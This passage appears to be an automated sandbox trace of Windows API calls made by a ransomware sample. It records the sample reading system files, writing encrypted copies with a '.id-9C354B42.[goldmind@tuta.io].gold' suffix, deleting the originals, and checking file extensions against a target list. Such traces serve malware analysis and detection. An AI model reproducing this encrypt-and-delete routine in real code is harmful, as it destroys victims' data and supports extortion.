1 [0049.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.846] GetLastError () returned 0x0 [0049.846] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x665a0, lpOverlapped=0x0) returned 1 [0049.854] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0049.859] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.859] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.859] SetEndOfFile (hFile=0x21c) returned 1 [0049.859] CloseHandle (hObject=0x21c) returned 1 [0049.859] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.859] SetEndOfFile (hFile=0x188) returned 1 [0049.862] CloseHandle (hObject=0x188) returned 1 [0049.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.862] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".doc") returned 4 [0049.863] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".docx") returned 5 [0049.863] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0049.863] lstrlenW (lpString=".pdf") returned 4 [0049.863] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".xls") returned 4 [0049.863] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".xlsx") returned 5 [0049.863] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0049.863] lstrlenW (lpString=".ppt") returned 4 [0049.863] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".zip") returned 4 [0049.863] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".rar") returned 4 [0049.863] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".bz2") returned 4 [0049.863] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.863] lstrlenW (lpString=".7z") returned 3 [0049.863] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".dbf") returned 4 [0049.863] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".1cd") returned 4 [0049.863] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".jpg") returned 4 [0049.863] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.863] lstrlenW (lpString=".doc") returned 4 [0049.863] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".docx") returned 5 [0049.863] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0049.863] lstrlenW (lpString=".pdf") returned 4 [0049.863] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".xls") returned 4 [0049.863] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.863] lstrlenW (lpString=".xlsx") returned 5 [0049.863] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0049.863] lstrlenW (lpString=".ppt") returned 4 [0049.864] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.864] lstrlenW (lpString=".zip") returned 4 [0049.864] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".rar") returned 4 [0049.864] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.864] lstrlenW (lpString=".bz2") returned 4 [0049.864] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString=".7z") returned 3 [0049.864] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.864] lstrlenW (lpString=".dbf") returned 4 [0049.864] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.864] lstrlenW (lpString=".1cd") returned 4 [0049.864] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0049.864] lstrlenW (lpString=".jpg") returned 4 [0049.864] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.864] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.864] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0049.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.865] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=26624) returned 1 [0049.865] CloseHandle (hObject=0x188) returned 1 [0049.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0049.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString=".doc") returned 4 [0049.865] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.865] lstrlenW (lpString=".docx") returned 5 [0049.865] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0049.865] lstrlenW (lpString=".pdf") returned 4 [0049.865] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.865] lstrlenW (lpString=".xls") returned 4 [0049.865] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.865] lstrlenW (lpString=".xlsx") returned 5 [0049.865] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0049.865] lstrlenW (lpString=".ppt") returned 4 [0049.865] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString=".zip") returned 4 [0049.865] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.865] lstrlenW (lpString=".rar") returned 4 [0049.865] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.865] lstrlenW (lpString=".bz2") returned 4 [0049.865] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.865] lstrlenW (lpString=".7z") returned 3 [0049.865] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString=".dbf") returned 4 [0049.865] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString=".1cd") returned 4 [0049.865] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.865] lstrlenW (lpString=".jpg") returned 4 [0049.865] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString=".doc") returned 4 [0049.866] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.866] lstrlenW (lpString=".docx") returned 5 [0049.866] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0049.866] lstrlenW (lpString=".pdf") returned 4 [0049.866] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.866] lstrlenW (lpString=".xls") returned 4 [0049.866] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.866] lstrlenW (lpString=".xlsx") returned 5 [0049.866] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0049.866] lstrlenW (lpString=".ppt") returned 4 [0049.866] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString=".zip") returned 4 [0049.866] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.866] lstrlenW (lpString=".rar") returned 4 [0049.866] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.866] lstrlenW (lpString=".bz2") returned 4 [0049.866] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.866] lstrlenW (lpString=".7z") returned 3 [0049.866] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString=".dbf") returned 4 [0049.866] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString=".1cd") returned 4 [0049.866] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0049.866] lstrlenW (lpString=".jpg") returned 4 [0049.866] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.866] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0049.866] lstrlenW (lpString="msinfo32.exe") returned 12 [0049.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.867] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=378880) returned 1 [0049.867] CloseHandle (hObject=0x188) returned 1 [0049.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0049.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString=".doc") returned 4 [0049.867] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.867] lstrlenW (lpString=".docx") returned 5 [0049.867] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0049.867] lstrlenW (lpString=".pdf") returned 4 [0049.867] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString=".xls") returned 4 [0049.867] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString=".xlsx") returned 5 [0049.867] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0049.867] lstrlenW (lpString=".ppt") returned 4 [0049.867] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString=".zip") returned 4 [0049.867] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString=".rar") returned 4 [0049.867] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString=".bz2") returned 4 [0049.867] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.867] lstrlenW (lpString=".7z") returned 3 [0049.867] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString=".dbf") returned 4 [0049.867] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString=".1cd") returned 4 [0049.867] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString=".jpg") returned 4 [0049.867] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.868] lstrlenW (lpString=".doc") returned 4 [0049.868] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.868] lstrlenW (lpString=".docx") returned 5 [0049.868] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0049.868] lstrlenW (lpString=".pdf") returned 4 [0049.868] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.868] lstrlenW (lpString=".xls") returned 4 [0049.868] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.868] lstrlenW (lpString=".xlsx") returned 5 [0049.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0049.868] lstrlenW (lpString=".ppt") returned 4 [0049.868] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.868] lstrlenW (lpString=".zip") returned 4 [0049.868] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.868] lstrlenW (lpString=".rar") returned 4 [0049.868] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.868] lstrlenW (lpString=".bz2") returned 4 [0049.868] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.868] lstrlenW (lpString=".7z") returned 3 [0049.868] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.868] lstrlenW (lpString=".dbf") returned 4 [0049.868] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.868] lstrlenW (lpString=".1cd") returned 4 [0049.868] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0049.868] lstrlenW (lpString=".jpg") returned 4 [0049.868] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.868] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0049.868] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.869] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=198056) returned 1 [0049.869] CloseHandle (hObject=0x188) returned 1 [0049.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0049.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.869] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.869] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.869] GetLastError () returned 0x0 [0049.869] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x305a8, lpOverlapped=0x0) returned 1 [0050.706] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0050.711] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.711] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.711] SetEndOfFile (hFile=0x21c) returned 1 [0050.711] CloseHandle (hObject=0x21c) returned 1 [0050.712] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.712] SetEndOfFile (hFile=0x188) returned 1 [0050.713] CloseHandle (hObject=0x188) returned 1 [0050.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".doc") returned 4 [0050.714] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".docx") returned 5 [0050.714] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.714] lstrlenW (lpString=".pdf") returned 4 [0050.714] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".xls") returned 4 [0050.714] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".xlsx") returned 5 [0050.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.714] lstrlenW (lpString=".ppt") returned 4 [0050.714] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".zip") returned 4 [0050.714] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".rar") returned 4 [0050.714] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".bz2") returned 4 [0050.714] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.714] lstrlenW (lpString=".7z") returned 3 [0050.714] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".dbf") returned 4 [0050.714] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".1cd") returned 4 [0050.714] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".jpg") returned 4 [0050.714] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW (lpString=".doc") returned 4 [0050.714] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".docx") returned 5 [0050.714] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.714] lstrlenW (lpString=".pdf") returned 4 [0050.714] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".xls") returned 4 [0050.714] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".xlsx") returned 5 [0050.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.714] lstrlenW (lpString=".ppt") returned 4 [0050.714] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.714] lstrlenW 